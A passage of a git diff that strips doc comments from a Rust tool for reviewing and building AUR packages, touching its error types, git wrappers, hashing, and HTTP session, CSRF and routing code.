Result<Vec<Unbuilt>> { let (pkgbase, ae, av, ar, se, sv, sr, error, build_id) = r?; let (pkgbase, av, ar) = match (pkgbase, av, ar) { (Some(p), Some(v), Some(rel)) => (p, v, rel), - // The join guarantees a pkgbase, and a failed build with a - // candidate always has one; a missing version means the schema - // was violated, so say so rather than show a blank. _ => { return Err(crate::error::Error::Db( "failed build row without a candidate version".into(), diff --git a/src/error.rs b/src/error.rs index f849f83..5966e28 100644 --- a/src/error.rs +++ b/src/error.rs @@ -16,8 +16,6 @@ pub enum Error { Http(String), #[error("child process {cmd}: {detail}")] Subprocess { cmd: String, detail: String }, - /// A fail-closed assertion. Everything that guards "we build what we reviewed" - /// raises this: recipe_hash mismatch, pkgver mismatch, missing approval. #[error("assertion failed: {0}")] FailClosed(String), #[error("not found: {0}")] @@ -28,17 +26,10 @@ pub enum Error { Invalid(String), #[error("blocked: {0}")] Blocked(String), - /// The sandbox pool could not fit a lease right now. Not a failure and not a - /// retry: the build waits, as it waits for a dependency it publishes - /// (§10.4). A quota is a fact about capacity, not a bug. #[error("sandbox pool exhausted: {0}")] PoolExhausted(String), - /// The world inside the sandbox is not the world the plan approved: a pinned - /// dependency did not land, or the closure was incomplete. Its own class so - /// a test can tell "the sandbox lied" from "the sandbox broke". #[error("world mismatch: {0}")] WorldMismatch(String), - /// A failure the outside world caused and a retry may clear (§8.4). #[error("transient: {0}")] Transient(String), #[error("{0}")] @@ -80,20 +71,13 @@ impl Error { Error::WorldMismatch(s.to_string()) } - /// True when the sandbox pool, not the build, is the problem: the build - /// blocks and waits rather than failing. pub fn is_pool_exhausted(&self) -> bool { matches!(self, Error::PoolExhausted(_)) } - /// True when a retry could plausibly help (§8.4). - /// - /// `Error::Io` is *not* automatically transient (m-14): `ENOSPC` and `EACCES` - /// are `Io`, and retrying them burns attempts while a full disk goes unnoticed. pub fn is_transient(&self) -> bool { match self { Error::Http(_) | Error::Transient(_) => true, - // A quota is capacity, not a hiccup; the build blocks instead. Error::PoolExhausted(_) | Error::WorldMismatch(_) => false, Error::Io(e) => matches!( e.kind(), diff --git a/src/fetch.rs b/src/fetch.rs index c802339..1d06051 100644 --- a/src/fetch.rs +++ b/src/fetch.rs @@ -17,8 +17,6 @@ impl Read for Body { } } -/// Open a URL for streaming. Never buffers the whole body: sources are hashed -/// while they are written into the cache (§5.3). pub fn open(url: &str) -> Result<(Body, Option<u64>)> { if let Some(path) = url.strip_prefix("file://") { let p = path.trim_start_matches('/'); @@ -40,7 +38,6 @@ pub fn open(url: &str) -> Result<(Body, Option<u64>)> { Err(Error::invalid(format!("unsupported url scheme: {url}"))) } -/// Fetch `url` into `dest`, returning `(sha256, size)`. pub fn fetch_to(url: &str, dest: &std::path::Path) -> Result<(String, u64)> { if let Some(parent) = dest.parent() { std::fs::create_dir_all(parent)?; @@ -53,7 +50,6 @@ pub fn fetch_to(url: &str, dest: &std::path::Path) -> Result<(String, u64)> { let (digest, size) = crate::hash::digest_reader(std::io::BufReader::new(body), Some(&mut file)) .map_err(|e| Error::Http(format!("{url}: {e}")))?; file.flush()?; - // Rename into place: a half-written cache entry must never be visible. std::fs::rename(&tmp, dest)?; Ok((digest, size)) } @@ -3,14 +3,12 @@ use std::process::{Command, Output}; use crate::error::{Error, Result}; -/// Run git and capture output; non-zero status becomes `Error::Git`. pub fn git(cwd: Option<&Path>, args: &[&str]) -> Result<String> { let mut cmd = Command::new("git"); if let Some(c) = cwd { cmd.current_dir(c); } cmd.args(args); - // Never let a stray terminal prompt hang a watcher thread. cmd.env("GIT_TERMINAL_PROMPT", "0"); cmd.env("GIT_CONFIG_NOSYSTEM", "1"); cmd.env("LC_ALL", "C"); @@ -29,13 +27,10 @@ fn ok(out: Output, args: &[&str]) -> Result<String> { Ok(String::from_utf8_lossy(&out.stdout).to_string()) } -/// Run git, discarding output, returning success/failure without allocating. pub fn git_ok(cwd: Option<&Path>, args: &[&str]) -> bool { git(cwd, args).is_ok() } -/// `git ls-remote <url> HEAD` — the cheap poll (§5.1). `None` when the remote is -/// gone. pub fn ls_remote_head(url: &str) -> Result<Option<String>> { match git(None, &["ls-remote", url, "HEAD"]) { Ok(out) => { @@ -51,7 +46,6 @@ pub fn ls_remote_head(url: &str) -> Result<Option<String>> { } } -/// `ls-remote --heads <url>`: every branch tip, as `(refname, sha)`. pub fn ls_remote_heads(url: &str) -> Result<Vec<(String, String)>> { let out = git(None, &["ls-remote", "--heads", url])?; let mut v = Vec::new(); @@ -64,7 +58,6 @@ pub fn ls_remote_heads(url: &str) -> Result<Vec<(String, String)>> { Ok(v) } -/// Ask a single remote ref for its SHA, e.g. `refs/tags/v1.2` or a full commit. pub fn ls_remote_ref(url: &str, refname: &str) -> Result<Option<String>> { match git(None, &["ls-remote", url, refname]) { Ok(out) => Ok(out @@ -85,9 +78,6 @@ fn is_missing_remote(e: &Error) -> bool { || s.contains("404") } -/// Clone an AUR mirror. `--mirror` so that `git fetch` actually moves our refs, -/// and **never** `--filter=blob:none`: a partial clone can lazily drop blobs and -/// we must be able to materialize any historical commit forever (§5.1). pub fn clone(url: &str, dest: &Path) -> Result<()> { if dest.exists() { return Ok(()); @@ -99,7 +89,6 @@ pub fn clone(url: &str, dest: &Path) -> Result<()> { Ok(()) } -/// `git clone --bare` for the upstream VCS cache. pub fn clone_bare(url: &str, dest: &Path) -> Result<()> { if dest.exists() { return Ok(()); @@ -114,9 +103,7 @@ pub fn clone_bare(url: &str, dest: &Path) -> Result<()> { Ok(()) } -/// Fetch into an existing mirror. Returns the new HEAD. pub fn fetch_head(mirror: &Path) -> Result<String> { - // `--no-prune` mirrors the "never GC a commit we may need" rule (§5.1a). git(Some(mirror), &["fetch", "--quiet", "--no-prune", "origin"])?; head(mirror) } @@ -125,18 +112,14 @@ pub fn head(mirror: &Path) -> Result<String> { Ok(git(Some(mirror), &["rev-parse", "HEAD"])?.trim().to_string()) } -/// True if `commit` exists in the local mirror. Guards against a force-pushed AUR -/// history making a pin vanish (§16 mirror divergence). pub fn has_commit(mirror: &Path, commit: &str) -> bool { git_ok(Some(mirror), &["cat-file", "-e", &format!("{commit}^{{commit}}")]) } -/// `git ls-tree -r <commit>`: every `(path, blob-sha)` in the tree. pub fn ls_tree(mirror: &Path, commit: &str) -> Result<Vec<(String, String)>> { let out = git(Some(mirror), &["ls-tree", "-r", commit])?; let mut v = Vec::new(); for line in out.lines() { - // "<mode> blob <sha>\t<path>" if let Some(rest) = line.strip_prefix("100644 blob ").or_else(|| line.strip_prefix("100755 blob ")) { if let Some((sha, path)) = rest.split_once('\t') { v.push((path.to_string(), sha.to_string())); @@ -161,8 +144,6 @@ pub fn read_blob(mirror: &Path, commit: &str, path: &str) -> Result<Vec<u8>> { Ok(out.stdout) } -/// Materialize a commit into `dest` using the local mirror only — no network -/// (§8.1 step 0). `git archive` + tar keeps it dependency-free. pub fn materialize(mirror: &Path, commit: &str, dest: &Path) -> Result<()> { std::fs::create_dir_all(dest)?; let out = Command::new("git") @@ -185,26 +166,22 @@ pub fn materialize(mirror: &Path, commit: &str, dest: &Path) -> Result<()> { Ok(()) } -/// `git log --oneline range` — review context (§5.1) and the upstream delta panel. pub fn log_oneline(mirror: &Path, range: &str) -> Result<Vec<String>> { let out = git(Some(mirror), &["log", "--oneline", range])?; Ok(out.lines().map(|l| l.to_string()).collect()) } -/// `git diff range -- <paths>`; empty `paths` means everything. pub fn diff(mirror: &Path, range: &str, paths: &[&str]) -> Result<String> { let mut args: Vec<&str> = vec!["diff", "--no-color", range, "--"]; args.extend(paths); git(Some(mirror), &args) } -/// `git rev-list --count range`. pub fn count_commits(mirror: &Path, range: &str) -> Result<usize> { let out = git(Some(mirror), &["rev-list", "--count", range])?; Ok(out.trim().parse().unwrap_or(0)) } -/// Clone a VCS source the way a PKGBUILD would (depth/ref aware) into `dest`. pub fn clone_source(url: &str, dest: &Path, depth: Option<usize>, branch: Option<&str>) -> Result<()> { if let Some(parent) = dest.parent() { std::fs::create_dir_all(parent)?; @@ -223,7 +200,6 @@ pub fn clone_source(url: &str, dest: &Path, depth: Option<usize>, branch: Option Ok(()) } -/// Fetch into an existing clone and return HEAD. pub fn fetch_and_head(repo: &Path) -> Result<String> { git(Some(repo), &["fetch", "--quiet", "--no-prune", "origin"])?; head(repo) diff --git a/src/hash.rs b/src/hash.rs index 70c3791..f638542 100644 --- a/src/hash.rs +++ b/src/hash.rs @@ -13,15 +13,11 @@ pub fn hex_str(s: &str) -> String { hex(s.as_bytes()) } -/// First `n` hex chars — enough for display, not for identity. pub fn short(bytes: &[u8], n: usize) -> String { let h = hex(bytes); h[..n.min(h.len())].to_string() } -/// Stream-hash a reader, optionally teeing every byte into `sink` — so a -/// download can be hashed into the source cache without paying for the -/// bandwidth twice (§5.3). pub fn digest_reader<R: Read>(mut r: R, mut sink: Option<&mut dyn Write>) -> io::Result<(String, u64)> { let mut h = Sha256::new(); let mut buf = vec![0u8; 64 * 1024]; @@ -46,9 +42,6 @@ pub fn digest_file(path: &std::path::Path) -> io::Result<(String, u64)> { digest_reader(&mut br, None) } -/// This is `recipe_hash` (DESIGN.md §3): a digest over *every* file in the AUR -/// snapshot tree, because a patch shipped in the AUR repo is part of the recipe -/// and is a classic silent-change vector. pub fn recipe_hash(entries: &[(String, String)]) -> String { let mut sorted: Vec<&(String, String)> = entries.iter().collect(); sorted.sort_unstable_by(|a, b| a.0.cmp(&b.0)); @@ -62,12 +55,6 @@ pub fn recipe_hash(entries: &[(String, String)]) -> String { hex::encode(h.finalize()) } -/// Serialize to canonical JSON: compact, object keys sorted, so equal values always -/// produce equal bytes. The value is routed through `serde_json::Value` because a -/// struct otherwise serializes in field declaration order. -/// -/// A serialization failure is an error, not `"{}"`: this is the function behind -/// `Identity::hash` (M-2). pub fn canonical_json<T: serde::Serialize>(v: &T) -> Result<String, serde_json::Error> { serde_json::to_string(&serde_json::to_value(v)?) } diff --git a/src/http/auth.rs b/src/http/auth.rs index 9689fd8..6720607 100644 --- a/src/http/auth.rs +++ b/src/http/auth.rs @@ -4,23 +4,17 @@ use std::sync::OnceLock; use crate::hash; -/// Live sids and whether each has passed the password gate. One map, so -/// dropping a session removes its authentication with it. static SESSIONS: OnceLock<Mutex<HashMap<String, bool>>> = OnceLock::new(); fn sessions() -> &'static Mutex<HashMap<String, bool>> { SESSIONS.get_or_init(|| Mutex::new(HashMap::new())) } -/// Random hex token from the system RNG, or `None` when there is no usable one. -/// A session id is the whole credential (C-1), so "no RNG" is a refusal rather -/// than a weaker, guessable token. fn random_hex() -> Option<String> { use std::io::Read; let mut buf = [0u8; 32]; let mut f = std::fs::File::open("/dev/urandom").ok()?; f.read_exact(&mut buf).ok()?; - // Mixed in so two calls in the same instant still differ. let nanos = std::time::SystemTime::now() .duration_since(std::time::UNIX_EPOCH) .map(|d| d.as_nanos()) @@ -34,8 +28,6 @@ fn counter() -> u64 { C.fetch_add(1, std::sync::atomic::Ordering::Relaxed) } -/// Mint an anonymous session: enough for a CSRF token, not enough to see a -/// single page when a password is set. pub fn new_session() -> Option<String> { let sid = random_hex()?; if let Ok(mut s) = sessions().lock() { @@ -48,8 +40,6 @@ pub fn is_valid_session(sid: &str) -> bool { sessions().lock().map(|s| s.contains_key(sid)).unwrap_or(false) } -/// Mark a session as having passed the password gate. An unknown sid stays -/// unknown rather than being inserted as a side effect of a login attempt. pub fn authenticate(sid: &str) { if let Ok(mut s) = sessions().lock() { if let Some(authenticated) = s.get_mut(sid) { @@ -58,8 +48,6 @@ pub fn authenticate(sid: &str) { } } -/// The gate's whole question: is this sid one we issued, and did someone type -/// the password into a form on it? pub fn is_authenticated(sid: &str) -> bool { sessions().lock().map(|s| s.get(sid).copied().unwrap_or(false)).unwrap_or(false) } @@ -70,8 +58,6 @@ pub fn drop_session(sid: &str) { } } -/// The CSRF token for a session. Derived rather than stored, so it cannot drift -/// out of sync with the session. pub fn csrf_token(sid: &str) -> String { hash::hex(format!("csrf|{sid}").as_bytes())[..32].to_string() } @@ -92,7 +78,6 @@ fn constant_time_eq(a: &str, b: &str) -> bool { diff == 0 } -/// Parse a `Cookie:` header value. pub fn parse_cookies(header: &str) -> Vec<(String, String)> { header .split(';') @@ -104,8 +89,6 @@ pub fn parse_cookies(header: &str) -> Vec<(String, String)> { .collect() } -/// An empty password means the UI is open, which is the default on loopback; -/// the CSRF gate still applies. pub fn password_ok(cfg: &crate::config::Config, given: &str) -> bool { cfg.password.is_empty() || constant_time_eq(&cfg.password, given) } diff --git a/src/http/forms.rs b/src/http/forms.rs index 03da7b8..579b931 100644 --- a/src/http/forms.rs +++ b/src/http/forms.rs @@ -1,4 +1,3 @@ -/// Percent-decode one token (`+` means space in a form body). pub fn decode(s: &str) -> String { let bytes = s.as_bytes(); let mut out: Vec<u8> = Vec::with_capacity(bytes.len()); diff --git a/src/http/mod.rs b/src/http/mod.rs index 11ea107..7beeff4 100644 --- a/src/http/mod.rs +++ b/src/http/mod.rs @@ -9,13 +9,11 @@ use std::sync::Arc; use crate::config::Config; use crate::db::Db; -/// Shared state every handler needs. pub struct State { pub cfg: Config, pub db: Db, } -/// A request that has been decoded enough to route on. pub struct Req { pub method: String, pub path: String, @@ -23,11 +21,7 @@ pub struct Req { pub body: String, pub cookies: Vec<(String, String)>, pub query_pairs: Vec<(String, String)>, - /// The body's form pairs, parsed once when the request is decoded (n-3) — a - /// single handler asks for five of them. pub form_pairs: Vec<(String, String)>, - /// Whether the client said it can take gzip. Used to decide whether to hand - /// out the precompressed static asset. pub accept_gzip: bool, } @@ -46,18 +40,12 @@ impl Req { } } -/// What a handler produced. pub struct Res { pub status: u16, pub content_type: String, pub body: Vec<u8>, pub headers: Vec<(String, String)>, - /// When set, the body is produced by reading this to EOF instead of `body`. - /// Used for the log tail (§13), which must stream bytes as a build appends - /// them rather than buffering a response that never finishes. pub stream: Option<Box<dyn std::io::Read + Send>>, - /// Length of `stream` when it is known up front, so the response can carry a - /// Content-Length instead of chunked transfer encoding. pub stream_len: Option<usize>, } @@ -68,9 +56,6 @@ impl Res { pub fn text(status: u16, body: String) -> Self { Self { status, content_type: "text/plain; charset=utf-8".into(), body: body.into_bytes(), headers: Vec::new(), stream: None, stream_len: None } } - /// A streamed response. `known_len` lets a static file be sent with a - /// Content-Length, which is what a browser wants for a file whose size it - /// already knows. pub fn stream(content_type: &str, reader: impl std::io::Read + Send + 'static, known_len: Option<usize>) -> Self { Self { status: 200, @@ -99,8 +84,6 @@ impl Res { } } -/// Start the HTTP server. Returns the accept-loop handle and the address it -/// actually bound, which matters for `:0` in tests. pub struct Server { pub handle: std::thread::JoinHandle<()>, pub addr: String, @@ -115,8 +98,6 @@ pub fn spawn(cfg: Config, db: Db) -> std::io::Result<Server> { let handle = std::thread::Builder::new() .name("http-accept".into()) .spawn(move || { - // `tiny_http` hands each connection to its own worker internally; - // the accept loop just blocks on `recv` and hands off. for request in server.incoming_requests() { let state = state.clone(); std::thread::Builder::new() @@ -152,7 +133,6 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result< .find(|h| h.field.equiv("Accept-Encoding")) .map(|h| h.value.as_str().contains("gzip")) .unwrap_or(false); - // Parsed once, here, rather than per `form_get` call (n-3). let form_pairs = forms::parse(&body); let req = Req { method: request.method().as_str().to_string(), @@ -166,7 +146,6 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result< }; let mut res = dispatch(&state, &req); - // Attach the session cookie if the handler minted one. if let Some(sid) = res.headers.iter().find(|(k, _)| k == "X-New-Session").map(|(_, v)| v.clone()) { res.headers.retain(|(k, _)| k != "X-New-Session"); res.header("Set-Cookie", &format!("sid={sid}; Path=/; HttpOnly; SameSite=Strict")); @@ -180,8 +159,6 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result< headers.push(h); } } - // A streamed response is chunked and stays open until the reader returns - // EOF; that is the whole point for the log tail. if let Some(reader) = res.stream.take() { let mut resp = tiny_http::Response::new( tiny_http::StatusCode(res.status), @@ -190,9 +167,6 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result< res.stream_len, None, ); - // tiny_http switches to chunked above 32 KB by default. For a file whose - // length we know, a Content-Length is what a browser wants; the log tail - // has no known length and stays chunked, which is what it needs. if res.stream_len.is_some() { resp = resp.with_chunked_threshold(usize::MAX); } @@ -206,34 +180,23 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result< request.respond(builder) } -/// Route table (§12). One flat match: no middleware stack, just the session gate -/// and then a path. fn dispatch(state: &State, req: &Req) -> Res { let seg: Vec<&str> = req.path.trim_matches('/').split('/').filter(|s| !s.is_empty()).collect(); let is_get = req.method == "GET"; - // Static assets and the login page are reachable without a session. match (req.method.as_str(), seg.as_slice()) { ("GET", ["static", name]) => return render::static_asset(name, req.accept_gzip), ("GET", ["login"]) => return routes::login_form(state, req), ("POST", ["login"]) => return routes::login(state, req), ("GET", ["healthz"]) => return Res::text(200, "ok\n".into()), - // Metrics are counts only — no package names, versions, or audit detail - // — and a Prometheus scraper has no session to present. The bind address - // is loopback by default, which is where this is safe. ("GET", ["metrics"]) => return routes::metrics(state), _ => {} } - // Session gate: mint a session for anonymous visitors so the CSRF token - // exists before anyone logs in. It is not a login — `gate` only lets through - // a sid that a successful login marked authenticated. let (sid, new_session) = match req.cookie("sid") { Some(s) if auth::is_valid_session(&s) => (s, false), _ => match auth::new_session() { Some(s) => (s, true), - // No system RNG means no unguessable session id. Refuse rather than - // hand out a token someone else could compute. None => return Res::text(500, "500: could not mint a session\n".into()), }, }; @@ -245,7 +208,6 @@ fn dispatch(state: &State, req: &Req) -> Res { return finish(state, req, res, &sid, new_session); } - // CSRF: every state-changing request must carry the token for its session. if !is_get { let token = req.form_get("csrf").or_else(|| req.query_get("csrf")).unwrap_or_default(); if !auth::csrf_ok(&sid, &token) { @@ -261,14 +223,11 @@ fn dispatch(state: &State, req: &Req) -> Res { } fn finish(_state: &State, _req: &Req, mut res: Res, _sid: &str, _new: bool) -> Res { - // A tiny security posture for a tool that serves a package index. res.header("X-Content-Type-Options", "nosniff"); res.header("Referrer-Policy", "same-origin"); res } -/// Percent-decode a path segment. Enough for package names and ids, which is -/// all that ever needs it here. fn percent_decode(s: &str) -> String { let bytes = s.as_bytes(); let mut out: Vec<u8> = Vec::with_capacity(bytes.len()); diff --git a/src/http/render.rs b/src/http/render.rs index f049a25..f3e4669 100644 --- a/src/http/render.rs +++ b/src/http/render.rs @@ -1,7 +1,5 @@ use askama::Template; -/// Everything the shared chrome needs. Embedded in each page context because -/// askama inheritance passes the whole struct down. #[derive(Debug, Clone)] pub struct Page { pub title: String, @@ -19,7 +17,6 @@ pub struct Page { pub nav_subscriptions: &'static str, pub nav_audit: &'static str, pub nav_settings: &'static str, - /// True when a password gate is configured, so the chrome offers a logout. pub gated: bool, } @@ -116,7 +113,6 @@ pub struct ReviewDetail { pub base_version: String, pub has_base: bool, pub panels: Vec<Panel>, - /// First introductions show the whole recipe instead of a diff (§7.1b). pub recipe: String, pub srcinfo: String, pub has_srcinfo: bool, @@ -134,8 +130,6 @@ pub struct ReviewHead { pub risk: String, pub signals: Vec<String>, pub missing_deps: Vec<String>, - /// §10.3: "approving this marks N packages stale" — the packages of ours - /// whose own recipes name one of the packages this candidate produces. pub dependents: Vec<String>, pub revision: i64, pub aur_commit: String, @@ -196,9 +190,6 @@ pub struct Attention { pub blocked: Vec<BlockedRow>, } -/// §8.4: an approval whose build failed. The index is still serving the older -/// version and nothing about the package looks wrong from the outside, so this -/// row exists to be impossible to miss. #[derive(Debug, Clone)] pub struct UnbuiltRow { pub pkgbase: String, @@ -221,7 +212,6 @@ pub struct NoticeRow { #[derive(Debug, Clone)] pub struct StaleRow { pub pkgbase: String, - /// The dependency that moved (or `aur` for a downgrade row). pub dependency: String, pub built_with: String, pub now: String, @@ -261,7 +251,6 @@ pub struct PackageDetail { pub summary: String, pub can_withdraw: bool, pub stale: Vec<String>, - /// "v2 approved, build failed, index still serving v1" (§8.4). pub unbuilt: Vec<UnbuiltRow>, pub deps_in: Vec<String>, pub deps_out: Vec<String>, @@ -287,7 +276,6 @@ pub struct Builds { pub recent: Vec<BuildRow>, } -/// The same table on its own, for the htmx fragment refresh. #[derive(Template)] #[template(path = "builds_table.html")] pub struct BuildsTable { @@ -379,10 +367,6 @@ pub struct SettingRow { pub value: String, } -/// Static assets. Two files, both vendored, both served from `include_bytes!` -/// so the binary is self-contained and there is no install step and no bundler -/// (§13). htmx is the only JavaScript this app ships; it is served precompressed -/// because the budget that matters is what a browser actually downloads. pub fn static_asset(name: &str, accept_gzip: bool) -> crate::http::Res { use crate::http::Res; match name { diff --git a/src/http/routes/mod.rs b/src/http/routes/mod.rs index 0dfed52..ed488c8 100644 --- a/src/http/routes/mod.rs +++ b/src/http/routes/mod.rs @@ -8,9 +8,6 @@ use super::{Req, Res, State}; mod mutations; mod pages; -// The handlers live in two files by direction of travel — reads in `pages`, -// writes in `mutations` — and are pulled back into scope here so the routing -// table below still reads as one flat list of endpoints (n-4). pub(crate) use mutations::*; pub(crate) use pages::*; @@ -29,9 +26,6 @@ pub fn login_form(state: &State, req: &Req) -> Res { page_to_res(Login { page, error: String::new() }, 200) } -/// Forget the session server-side and clear the cookie. The CSRF token is -/// derived from the sid, so dropping the sid invalidates every form a browser -/// still has open — which is exactly what logout should do. pub fn logout(req: &Req) -> Res { if let Some(sid) = req.cookie("sid") { auth::drop_session(&sid); @@ -45,9 +39,6 @@ pub fn login(state: &State, req: &Req) -> Res { let given = req.form_get("password").unwrap_or_default(); let page = Page::new("Sign in", csrf(state, req)); if auth::password_ok(&state.cfg, &given) { - // Rotate rather than promote: the sid the visitor arrived with (if any) - // is dropped, so the session that existed before the password was typed - // is never the one that carries the privilege afterwards. if let Some(old) = req.cookie("sid") { auth::drop_session(&old); } @@ -57,7 +48,6 @@ pub fn login(state: &State, req: &Req) -> Res { }; auth::authenticate(&sid); let mut res = Res::redirect("/"); - // `serve` turns this into the `Set-Cookie: sid=…` header. res.header("X-New-Session", &sid); res } else { @@ -109,7 +99,6 @@ fn not_found(state: &State, req: &Req) -> Res { ) } -/// The shared chrome: counts for the nav badges and the active-tab marker. fn chrome(state: &State, req: &Req, title: &str, active: &str) -> Page { let db = &state.db; let mut page = Page::new(title, csrf(state, req)); @@ -133,7 +122,6 @@ fn csrf(_state: &State, req: &Req) -> String { req.cookie("sid").map(|s| auth::csrf_token(&s)).unwrap_or_default() } -/// A byte count a human can read at a glance. fn human_size(bytes: i64) -> String { const UNITS: [&str; 4] = ["B", "KiB", "MiB", "GiB"]; let mut v = bytes as f64; @@ -158,9 +146,6 @@ fn age(detected_at: &str) -> String { format!("{detected_at} → {now}") } -/// Who the audit trail says made a decision. With no password configured the -/// UI is open on loopback and every session is the operator's; with one, only -/// a session that passed the gate gets a name. fn actor(state: &State, req: &Req) -> &'static str { let sid = req.cookie("sid").unwrap_or_default(); if !auth::auth_required(&state.cfg) || auth::is_authenticated(&sid) { diff --git a/src/http/routes/mutations.rs b/src/http/routes/mutations.rs index 79089b2..2af8b7f 100644 --- a/src/http/routes/mutations.rs +++ b/src/http/routes/mutations.rs @@ -37,8 +37,6 @@ pub(crate) fn review_approve(state: &State, req: &Req, id: &str) -> Res { page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 200) } Err(ap::ApproveError::System(e)) => { - // The database refused. Telling the reviewer their review went stale - // would be a lie about the one thing they cannot check themselves. let mut page = chrome(state, req, "Review failed", "nav_reviews"); page.flash = format!("the approval could not be recorded: {e}"); page.has_flash = true; @@ -46,14 +44,10 @@ pub(crate) fn review_approve(state: &State, req: &Req, id: &str) -> Res { page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 500) } Err(ap::ApproveError::Stale(stale)) => { - // §7.1a: refuse, re-render what it is now, and say why. Never - // silently retarget the approval onto the newer state. let mut page = chrome(state, req, "Review changed", "nav_reviews"); page.flash = format!("refused: {stale}"); page.has_flash = true; page.flash_err = true; - // Show the review as it stands NOW — the frozen one the form came - // from may have collapsed or been superseded while it was open. let current = candidates::pending_candidates(db) .unwrap_or_default() .into_iter() @@ -109,8 +103,6 @@ pub(crate) fn review_reject(state: &State, req: &Req, id: &str) -> Res { } } -/// Bulk approve/reject (§7.4): per-item, never "approve everything forever", -/// and high-risk items are refused unless each was confirmed individually. pub(crate) fn reviews_bulk(state: &State, req: &Req) -> Res { let db = &state.db; let form = req.form(); @@ -136,8 +128,6 @@ pub(crate) fn reviews_bulk(state: &State, req: &Req) -> Res { page.flash_err = true; return page_to_res(ReviewsPage { page, rows: review_rows(&state.db) }, 400); } - // The rule itself lives in `review::approve::bulk`, so the page and the - // library cannot disagree about what a bulk decision means (§7.4). let items: Vec<(i64, String, String)> = ids .iter() .filter_map(|id| { @@ -200,9 +190,6 @@ pub(crate) fn sub_pause(state: &State, req: &Req) -> Res { let db = &state.db; let name = req.form_get("pkgbase").unwrap_or_default(); let cur = db::get_subscription(db, &name).ok().flatten().map(|s| s.state); - // Pause and resume are the only moves this page makes. A subscription that - // is orphaned or removed is not the reviewer's to pause, and saying so beats - // quietly rewriting its state. let next = match cur { Some(SubscriptionState::Active) => SubscriptionState::Paused, Some(SubscriptionState::Paused) => SubscriptionState::Active, @@ -223,8 +210,6 @@ pub(crate) fn sub_remove(state: &State, req: &Req) -> Res { pub(crate) fn notice_ack(state: &State, req: &Req) -> Res { let id: i64 = req.form_get("id").and_then(|s| s.parse().ok()).unwrap_or(0); let _ = db::acknowledge_notice(&state.db.writer, id); - // POST-redirect-GET: the notice vanishing from the list is its own - // confirmation, and a refresh can no longer re-POST. Res::redirect("/attention") } @@ -270,8 +255,6 @@ pub(crate) fn build_cancel(state: &State, req: &Req, id: &str) -> Res { builds_with(state, req, page) } -/// Retrying a failed build is an explicit, audited decision (§8.4), not -/// something the system does to itself. pub(crate) fn build_retry(state: &State, req: &Req, id: &str) -> Res { match builds::retry(&state.db, id) { Ok(()) => { diff --git a/src/http/routes/pages.rs b/src/http/routes/pages.rs index f1f3ef8..bb5db34 100644 --- a/src/http/routes/pages.rs +++ b/src/http/routes/pages.rs @@ -56,7 +56,6 @@ pub(crate) fn review_rows(db: &Db) -> Vec<ReviewRow> { revision: c.revision, }) .collect(); - // Risk first, then oldest — the scarcest resource gets the loudest rows. let rank = |r: &str| match r { risk::level::HIGH => 0, risk::level::MEDIUM => 1, @@ -83,8 +82,6 @@ pub(crate) fn review_detail(state: &State, req: &Req, id: &str) -> Res { let Some(c) = candidates::candidate_by_id(db, id).unwrap_or(None) else { return not_found(state, req); }; - // Opening a review freezes it: a later detection now opens a fresh review - // instead of silently changing what is on screen (§7.1). let _ = candidates::mark_viewed(db, id); let page = chrome(state, req, &format!("Review {}", c.pkgbase), "nav_reviews"); let (head, panels, recipe, srcinfo, sources_resolved, deps_resolved) = review_body(state, &c); @@ -113,7 +110,6 @@ pub(crate) fn panels_base(c: &CandidateRow) -> (String, bool) { } } -/// Build the review body: the panel set plus the first-introduction material. pub(crate) fn review_body( state: &State, c: &CandidateRow, @@ -224,7 +220,6 @@ pub(crate) fn attention(state: &State, req: &Req) -> Res { .into_iter() .map(|(id, pkgbase, blocked_on)| BlockedRow { id_short: short(&id), id, pkgbase, blocked_on }) .collect(); - // Staleness is computed on read (P4 fills the query in). let stale = crate::watch::staleness::stale_rows(db).unwrap_or_default(); let outdated: Vec<StaleRow> = stale .iter() @@ -322,8 +317,6 @@ pub(crate) fn package_detail(state: &State, req: &Req, name: &str) -> Res { step: b.current_step.unwrap_or_default(), }) .collect(); - // Depends-on comes from the recipe we actually serve; needed-by comes from - // the packages whose own recipes name this one (§10.3). let deps_in: Vec<String> = accepted .as_ref() .and_then(|r| db::accepted_recipe(db, r).ok().flatten()) @@ -375,8 +368,6 @@ pub(crate) fn package_detail(state: &State, req: &Req, name: &str) -> Res { // --------------------------------------------------------------- builds -- -/// The version a build is about. A build points at a candidate, or — for a -/// manual rebuild of something already published — at a release. pub(crate) fn build_version(db: &Db, b: &builds::BuildRow) -> String { if let Some(cid) = b.candidate_id { if let Some(c) = candidates::candidate_by_id(db, cid).ok().flatten() { @@ -424,8 +415,6 @@ pub(crate) fn build_rows(state: &State) -> Vec<BuildRow> { pub(crate) fn builds_page(state: &State, req: &Req) -> Res { let page = chrome(state, req, "Builds", "nav_builds"); - // htmx asks for the fragment; a browser with JavaScript off never does and - // gets the whole page either way (§13). if req.query_get("fragment").as_deref() == Some("1") { return page_to_res( BuildsTable { page, rows: build_rows(state), recent: recent_rows(state) }, @@ -514,17 +503,12 @@ pub(crate) fn build_log(state: &State, id: &str) -> Res { Res::text(200, body) } -/// The live tail (§13). Server-sent events from a blocking reader: the pipeline -/// appends to a file and never learns this connection exists, so a viewer that -/// hangs up, stalls or never shows up cannot slow a build. pub(crate) fn build_log_stream(state: &State, req: &Req, id: &str) -> Res { if builds::get(&state.db, id).unwrap_or(None).is_none() { return not_found(state, req); } let tail = sse::LogTail::new(&state.cfg, state.db.clone(), id); let mut res = Res::stream("text/event-stream", tail, None); - // No caching, and no proxy buffering: a buffered event stream is a log tail - // that arrives all at once, which is the thing we are trying to avoid. res.header("Cache-Control", "no-cache"); res.header("X-Accel-Buffering", "no"); res @@ -550,11 +534,6 @@ pub(crate) fn audit(state: &State, req: &Req) -> Res { page_to_res(Audit { page, rows }, 200) } -/// `GET /metrics` in Prometheus text exposition format (§12, §15). -/// -/// Everything here is computed from live state on every scrape. There are no counters -/// incremented at event sites: a counter every code path has to maintain quietly -/// drifts the first time a path is added; a query cannot drift. pub fn metrics(state: &State) -> Res { match ops::metrics(&state.cfg, &state.db) { Ok(m) => { diff --git a/src/http/sse.rs 